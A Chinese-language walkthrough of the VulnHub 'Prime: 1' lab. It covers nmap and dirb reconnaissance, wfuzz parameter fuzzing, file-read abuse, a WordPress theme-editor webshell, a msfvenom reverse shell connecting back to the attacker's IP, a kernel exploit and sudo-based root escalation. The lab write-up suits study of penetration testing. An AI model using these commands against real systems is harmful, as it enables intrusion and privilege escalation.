资源

Prime: 1 ~ VulnHub

找靶机IP

通过Guest确定IP

最下面,有个Guest用户可以登录进去

image-20221105143451128

右键,Open Terminal打开终端窗口

image-20221103140616028

直接执行ifconfig,哎~这IP不就拿到了吗?

image-20221103140855419

通过扫描确定IP

这是在B站听无涯老师的课程看到的方法

不登陆也能找到IP,不过我还是觉得,既然有上面那个口子可以达到目的,就没有必要搞得这么麻烦,这里仅仅作为拓展思维

用Nmap扫描C段

1
nmap 192.168.120.1/24

image-20221103141649097

可以看到,同网段扫到了四个机子,一般*.1*是自己的物理机,太小太大的都不考虑,就剩128和145了,而128是我Kali的IP,所以剩下的145就是靶机的IP了。

要是觉得上面的方法靠猜测不妥,凭什么要排除太大和太小的IP啊是吧?这里给出另外一种方法。

刚刚扫一遍,得到4个存活的IP,这时候把靶机给关了,再扫描一遍C段,应该只有三个了,第二次消失的那一个,就是靶机的IP了。

那找到IP之后,我们要登录这个系统,有什么办法可以找到密码呢?

端口服务

拿到IP之后,可以继续扫描,这个IP开放了哪些端口,都运行着什么服务,也许就能找到突破口呢。

继续用Nmap扫全端口

1
nmap -p 1-65535 192.168.120.145

这里通过-p参数指定全端口,不指定的话,只会扫描常用端口

image-20221103143407496

扫到2个端口,22和80,对应的服务,也写出来了

如果扫出来的端口比较陌生,不知道运行着什么服务,可以百度查询

这里给出一份常用的端口对应的服务

22端口是SSH服务,无非就是用Xshell去连接,没啥突破口。

80端口开放的是HTTP服务,也就是有Web服务啊!!!那不开整?

Web服务

用浏览器打开上面开放的80端口

访问网址:IP:port,我这里就是192.168.120.145:80(其实直接输入ip就可以访问了,应为HTTP协议默认就是80端口)

image-20221103144324733

嗯??这什么情况??WTF???就一张图片???玩呢??

冷静冷静哈!思考下,遇到就一张图片,有什么思路可以进行下去?

  • CMS指纹识别
  • Ctrl+U查看前端源码
  • 目录扫描

思路列出来了,一个个尝试吧

CMS指纹识别,壮烈牺牲

image-20221103144853909

emmm源码就。。。算了吧

image-20221103145005398

那就只有目录扫描

问题是怎么扫呢?用啥工具呢?

目录扫描

工具

  • dirb
  • 御剑
  • webscan
  • gobuster
  • dirsearch
  • BurpSuite
  • ………(工具很多)

我打开dirb就是一顿扫(kali自带dirb)

1
dirb http://192.168.120.145

啊嘞?还有工具连-u都不要加的?不管,看结果

image-20221103160653117

扫出了一个WordPress,一看就知道,这是个个人博客。

打开看看,果然!有没有发现这个victor有点似曾相识??

image-20221103160539432

嘚,白高兴一场,啥也没有发现。

接下来又看了看扫出来的其他目录,全是WordPress的大概看了下,这条路肝不下去了。

只能想想有没有其他办法。密码有没有可能存在一个文件里?首先想到的就是txt,接着我又用dirb对txt后缀的来了一顿扫

1
dirb http://192.168.120.145 -X .txt

欸???这是啥?secret.txt???赶紧打开看看

image-20221103161740535

果然有东西啊!!(Prime1:看你太菜了给你点提示吧)

image-20221103161920266

整段翻译如下

小伙子有点东西啊!

但还是菜了点哟!给你点提示:

对你发现的每一页php做一些Fuzz,如果Fuzz到了正确的参数,然后照着下面的步骤做

查看location.txt,你就知道下一步该怎么走了。

如果你还是菜的不行,来我们网站学习一下基本工具的使用

我不管,我才不要等下再用这个提示,我就是要现在就访问location.txt,不然我不甘心

image-20221103162840784

甘心了,,,对不起打扰了!

Fuzz参数

既然上面提到php,那就先扫一下有哪些php,再针对每个php做Fuzz

1
dirb http://192.168.120.145 -X .php

就扫出来这俩

image-20221103163102067

激动人心的Fuzz

问题来了,Fuzz是个啥?不懂的来看看度娘的解释

看懂了么?我唬你呢!看了比没看还模糊了是吧哈哈哈

我这里用我自己的浅显理解来解释一下Fuzz

Fuzz即模糊测试

就是瞎鸡儿乱猜的意思

用上面的例子来说,要你Fuzz参数,那参数是个啥样子?get请求下就是http://192.168.120.145/index.php?参数=xxx

至于参数是啥,我不知道啊,那我就只能乱猜,万一瞎猫碰上死耗子,给我猜对了呢?

Fuzz就是这样,不看技术,全看运气,谁也不知道到底能不能猜对

工具随便哈,很多工具都可以做Fuzz(BP就可以)

我这里选择直接用kali里面自带的工具wfuzz和自带的字典

1
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.120.145/index.php?FUZZ

image-20221103170429320

这里解释下这几列的含义

  • ID:就id,没啥别的意思
  • Response:HTTP请求返回的状态码
  • Lines:返回包的行数
  • Word:单词个数
  • Chars:字符个数
  • Payload:Fuzz的参数

上面字典返回了900多条数据,那怎么找那些可能是正确的参数呢?思路是与大部分不同的一般就有蹊跷,因为大部分参数是错的,那正确的势必返回的就不一样。

Burp爆破的话,直接点一下排序就看出来了,这个破工具还要用命令行重新执行命令来排序,我真的会谢!

1
2
3
4
5
6
7
# 先看看参数,看有啥可以用的
wfuzz -h
# 用参数过滤
--hc # 过滤掉某个响应状态
--hl # 过滤掉响应为x行的
--hw # 过滤掉响应为x个单词的
--hh # 过滤掉响应为x个字符的

我这里随便选个过滤

1
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -hl 7 http://192.168.120.145/index.php?FUZZ

结果是:糟糕!裤衩子都过滤没了

image-20221103172027133

那就只能换个参数

1
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -hw 12 http://192.168.120.145/index.php?FUZZ

得到index.php的参数

有东西啊!

image-20221103172145627

还记得上面secret.txt里面的提示吗?记不记得有个location.txt

还有扫出来的两个php文件:image.phpindex.php

现在用这个Fuzz出来的参数试试吧!

image.php没变化

image-20221103183545155

index.php出现了点不一样的东西,多了些文字

image-20221103172359891

翻译

小伙子不错啊!

现在你知道正确的参数了

secrettier360参数去尝试其他的php页面吧!

得到iamge.php的参数

这时,把上面没变化的image.php按照提示的参数试一试

image-20221103184200350

好的,你得到了正确的参数

password.txt

然后呢,就一句话就没了???思路好像又断了,继续往下想想,既然给了file让我们来读取文件,那我们可不可以去读取一些敏感文件呢?说干就干!

然而,emmmmmm…….又断了,系统提示挖错文件了

image-20221103184903209

试试另外一个,居然成了,好吧我装的,因为我去看了视频。

我一直在试前面那个index.php的参数,反而忽视了靶场一步步把我们引到到image.php,还给了正确的参数。

image-20221103185510097

接下来就顺着给出的提示,我尝试直接读取password.txt,没有结果

看了一眼上面的提示,Find password.txt in my directory

分析主要的突破点是要知道提示所说的my directory是指的哪一个目录,想到Linux下,每一个用户都有一个home目录,用户名是victor,接下来我们就来验证这条猜想

image-20221103190414091

还是那句话,空空如也,我C他NN的!!!

这时候,我又去看了一眼上面的截图,就在我画框的后面,就有路径啊!!!我顺着那个路径找过去,出来了!还是我太菜了,Linux基础学的不好,才去分析上面那一堆有的没的。

image-20221103190658299

登录WordPress

当时看到这串字符的时候,我第一反应是有点懵,要我关注ippsec???这是啥意思,过了一会才反应过来,这有没有可能就是密码啊?而且这是password.txt欸?

拿着这串字符去试着登录了一下victor用户,喜提”密码错误“💔💔💔

image-20221103190941126

到这,我又不知道怎么办了。

去看了下视频的提示:这到底是什么的密码?

于是我想起,之前端口扫描的时候,有个22端口,猜测有可能是SSH的密码,我马上打开我的XShell。

哈哈,没连上mad❗

然后我又想,还有啥密码?前面好像还有个WordPress博客,去试试看,也许就是这个呢?然后我往上翻了下之前目录扫描的截图,进到了http://192.168.120.145/wordpress/wp-admin,然后跳转到wordpress的登陆界面

image-20221103225332819

用户名当然是猜的victor,因为之前看过这个博客首页,加上靶机上的登录用户名也是victor,密码输入follow_the_ippsec,点登录

后面了解到,WordPress在搭建成功后会自动生成一篇博客,用户名就是管理员的用户名

还有Kali自带的工具cmseekwpscan可以去扫描WordPress站点的用户名和漏洞,以及其他信息

在几秒的转圈圈之后,进去了!!!

image-20221103225535739

找了一圈,没发现什么信息。唯一发现了一个邮箱,我还用这个邮箱去试了一下密码,不对,作罢!

又开始偷思路😂😂😂

WordPress主题编辑

了解到【Appearance】的【Theme Editer】可以编辑主题,里面存在部分php可以被编辑,php哦!!!还是可以编辑的,那不直接一句话木马开搞???

image-20221103231333565

接下来就是去找可以编辑的,连着点了好多个,都是这种不能修改的

image-20221103231930552

皇天不负有心人!终于找到一个能改的

image-20221103232115455

getshell

一句话木马

直接开整!!!等啥呀?

image-20221103232359755

上传成功!nice!好了,就等着我拿下你吧小卡拉米!

高高兴兴掏出我的蚁剑

image-20221104100447856

好了,问题来了,我这个URL要怎么填?WordPress的后台编辑那里的url是http://192.168.120.145/wordpress/wp-admin/theme-editor.php?file=secret.php&theme=twentynineteen,这一看就不行啊,我要找到secret.php的真实路径才行,但是我对WordPress不熟悉,不知道怎么猜这个路径。

确定路径

我知道WordPress是开源的,于是我上WordPress官网下了一份5.2版本的源码(Dashboard往下划,At a Glance板块可以看到WordPress的版本和使用的主题)

image-20221104110916788

然后就顺着这个线索,结合上面修改页面右侧的文件结构,在源码里找到了这个路径

image-20221104111036384

image-20221104111310256

接下来我就按照这个路径,用蚁剑去连了。

直接红一片我也是没想到

image-20221104111549931

然后我又去浏览器访问这个网址

image-20221104111657882

返回404,意思就是secret.php不在这个路径

到这里,思路又断了(真的太菜了)

继续偷思路(emm这叫借鉴!!)

反弹shell

了解到可以反弹shell,其实之前一直知道这个概念,但是没有实战过,所以也不知道什么时候该用,怎么用。这次真的是学到了!

继续用我浅显的理解来解释一下反弹shell

首先要明确:反弹shell一句话木马的目的都是一样的,就是为了拿shell

区别在于

  • 一句话木马:上传之后,你得主动用WebShell管理工具之类的东西去连他,连上了才可以
  • 反弹shell:让它主动来连你

这有啥不一样呢?为啥一定要它来连你呢?你连他为啥又不行呢?

想象一下,你去别的学校找朋友玩泥巴,但是他们学校只允许本校师生进出,不允许外面的人进出。这时候,你们想见面一起玩泥巴,那就只能让他出来找你,因为门卫不让你进去找他啊!!(说翻墙钻狗洞进去的小伙子,你真是个大聪明🤡)

一样的意思,当一台机子处于内网、动态IP,或者配置了防火墙、杀毒软件,那很可能,你是没有办法去连接它的,只能让它出来连你,这就是反弹shell

生成php反弹shell代码

现在,用我们的美少妇(MSF)来生成php反弹shell的代码

1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.120.128 lport=6666 -o shell.php

这句话的意思是让msfvenom的php/meterpreter/reverse_tcp模块来生成反弹shell的脚本,设置让靶机来连Kali(IP:192.168.120.128)的6666端口,保存为shell.php

image-20221104133526200

上传

把生成的代码粘贴到secret.php里面(粘贴我上面黑色的那一坨,前面俩不要粘上去了),保存

image-20221104134106090

监听端口

接下来,就是监听了

为啥要监听?

接着上面的例子说哈,你朋友都出校门来找你玩泥巴来了,你不得蹲在门口等他吗?不然你怎么知道他出来了呢?只能蹲在门口守着呗。

这也是一样的,你让靶机来连你,你不监听那个端口,你咋知道它来连你那个端口了?

那我们用啥来监听呢?当然是亲自蹲在电脑显示器上呗(bushi)

当然是用工具来监听啦~可用的工具有很多,这里推荐ncmsfconsole

这里用msfconsole(因为它给我比心❤)

  1. 命令行输入msfconsole,启动美少妇

image-20221104134918991

  1. 使用监听模块
1
use exploit/multi/handler

image-20221104135312786

  1. 告诉它,你在等待一个php的反弹来连你
1
2
# 这里的模块和上面使用msfvenom生成反弹shell的模块是一样的
set payload php/meterpreter/reverse_tcp
  1. 指定监听的IP和端口
1
2
set lhost 192.168.120.128
set lport 6666
  1. 启动监听
1
2
3
4
# 任选一个执行,效果是一样的
run
# or
exploit

拿到shell

监听就准备好啦~接下来的问题是

靶机什么时候来连我们呢?

这就得你去提醒一下它,让他来连你,这时候我突然发现,我上面费大劲找的secret.php路径,这时候用得到了!!!

访问http://192.168.120.145/wordpress/wp-content/themes/twentynineteen/secret.php

image-20221104140546616

页面虽然一直在加载,这时候打开我们的Kali看看,已经进入到meterpreter了!!!就是已经反弹连接上了,我们已经拿到靶机的shell了。

执行命令看看,没问题!

image-20221104155213895

注意:

我们此时拿到的shell环境,并不是root用户,meterpreter并不能执行所有的命令

内核提权【适用于Ubuntu 4.10】

上面我们拿到了靶机的Linux版本,用msfconsole看看有没有能提权的模块

==注意==:不要在meterpreter下直接执行,新开一个Terminal,进入msfconsole里面执行

或者使用background回退到msf的界面,记住返回的session为1,到时候直接通过sessions 1回到meterpreter

1
searchsploit 16.04 Ubuntu

image-20221104171340983

使用其中符合条件的linux/local/45010.c

用来提权到root,用C语言编写其路径为/usr/share/exploits/local/45010.c

  1. 将该文件拷贝到当前目录
1
cp /usr/share/exploitdb/exploits/linux/local/45010.c ./
  1. gcc编译该文件
1
gcc 45010.c -o 45010
  1. 用meterpreter把上面生成的45010移动到靶机里面(此步骤在meterpreter里面执行!!!
1
upload /home/slipper/45010 /tmp

本句的意思是:把本机home/slipper/45010上传到靶机的/tmp目录

  1. 进入shell,给45010添加可执行的权限
1
2
3
4
5
6
7
8
meterpreter > shell
Process 3108 created.
Channel 1 created.
# 此时已经进入到靶机的shell环境
pwd # 查看当前目录
/tmp
chmod +x 45010 # 添加执行权限
./45010 # 执行该提权程序

这时候已经提权成功了

提权失败

==实际上,我的提权失败了==

按理来说,是可以成功的,但是我当时没弄完就去做其他的事情,第二天再来弄的时候,我的靶机IP变了,从145变成147了。我当时觉得奇怪,因为我虚拟机Kali的IP一直就没变过,为什么这个突然变了。当时没有在意,直到我使用上述方法,屡次提权失败

于是,我几乎翻遍了网上关于Prime1这个靶机的记录,终于看到一句话:

==有些情况我们下载的靶机的版本并不是Ubuntu4.10而是Ubuntu 4.15,就不能通过45010这个复现成功==

但是我明明记得我是4.10。然后,我就又去看了一下我Ubuntu靶机的版本信息

image-20221105150754154

==我的Ubuntu居然自动升级了!==

可以往上看我当时的截图,当时的版本是4.10的,一觉起来,Ubuntu靶机给我自动升级成4.15了,估计也是这个原因,导致靶机的IP发生了变化。

而此时,4.15版本的已经不能使用上述方法提权了。我用msf搜索了升级之后的版本还有没有可以用的提权代码,已经🈚了,所以靠nday提权已经行不通了,靶机的设计者的目的并不是想让我们靠提权来拿到Flag,而是像上面一样,一层层的剥开,找到密码。

这个问题真的折磨了我很久,第一次遇到这种骚操作

提权【适用于Ubuntu 4.15】

  1. 进入shell环境
1
meterpreter> shell
  1. 将shell升级到完全交互式的TTY
1
python -c 'import pty;pty.spawn("/bin/bash")'
  1. 查看当前用户可以用 sudo 执行哪些命令
1
sudo -l

image-20221105153916471

这里的/home/saket/enc引起了注意,它是一个可执行文件,执行需要输入密码,使用follow_the_ippsec发现不对

backup文件

/opt目录下发现backup文件夹,最终发现了可执行文件enc的密码为backup_password

image-20221105154613484

  1. 执行enc
1
2
cd /home/saket
./enc
  1. 此时发现/home/saket目录下多了两个文件:enc.txtkey.txt

image-20221105155104206

得到了一串字符和一条提示,看样子应该是base64编码的

  1. 使用cmd5加密ippsec

image-20221105155927773

得到

md5(ippsec,32) = 366a74cb3c959de17d61db30591c39d1
md5(ippsec,16) = 3c959de17d61db30

  1. 使用AES Encryption and Decryption Online Tool解密enc.txt

image-20221105161448956

解密结果

1
RG9udCB3b3JyeSBzYWtldCBvbmUgZGF5IHdlIHdpbGwgcmVhY2ggdG8Kb3VyIGRlc3RpbmF0aW9uIHZlcnkgc29vbi4gQW5kIGlmIHlvdSBmb3JnZXQgCnlvdXIgdXNlcm5hbWUgdGhlbiB1c2UgeW91ciBvbGQgcGFzc3dvcmQKPT0+ICJ0cmlidXRlX3RvX2lwcHNlYyIKClZpY3Rvciw=
  1. 对上面的字符串进行Base64解码
1
2
3
4
5
6
Dont worry saket one day we will reach to
our destination very soon. And if you forget
your username then use your old password
==> "tribute_to_ippsec"

Victor,

得到了密码

1
tribute_to_ippsec

切换用户

1
su saket

image-20221105162115763

  • 查看saket用户可用sudo执行的命令

image-20221105165526516

  • 跟进到/home/victor/undefeated_victor

image-20221105165644625

提示/tmp/challenge not found

/bin/bash提权

  • 接下来的思路就是创建challenge文件,将/bin/bash写入文件中,然后重新执行sudo /home/victor/undefeated_victor命令以获取root权限的shell.
1
2
3
4
cd /tmp
echo "/bin/bash" > challenge
chmod +x challenge
sudo /home/victor/undefeated_victor

image-20221105170834360

可以看到,此时已经==成功拿到root权限==

拿flag

  • 切换到/root,查看
1
2
cd /root
ls

image-20221105171431456

  • 查看root.txt
1
cat root.txt

image-20221105171456711

完结撒花~~~终于拿到了flag

个人总结

不足

  • 使用nmap扫描的时候,用的是最简单的命令,扫描显示出来的信息比较单一

    1
    nmap -sTVC ... > xxx.txt

    导出到文件里,到时候找起来更方便,不要每次都在终端翻来翻去

  • 对Kali内的工具不熟悉,到某个特定的步骤之后,知道要干啥,但不知道具体要怎么做,有什么工具可以使用。如果只下载了,又不去用它,那为什么要下载呢?单纯为了好看吗?

    后续花时间专门整理一下Kali的工具,输出一个文档

收获

  • 初次解除了完整的一套渗透测试流程,从查找IP到拿到Root权限,从Web打到shell再到提权
  • wordpress的主题模块可以执行命令
  • 反弹shell初体验
  • 更加熟悉linux的一些命令,比如sudo -l
  • msf可用用background命令把meterpreter退到后台

疑惑

  • 最后AES解密:为什么是AES?那些参数是这么选的,问了大佬,说是密码学的知识!补!!!
  • 写入/bin/bash提权,不懂!看!!!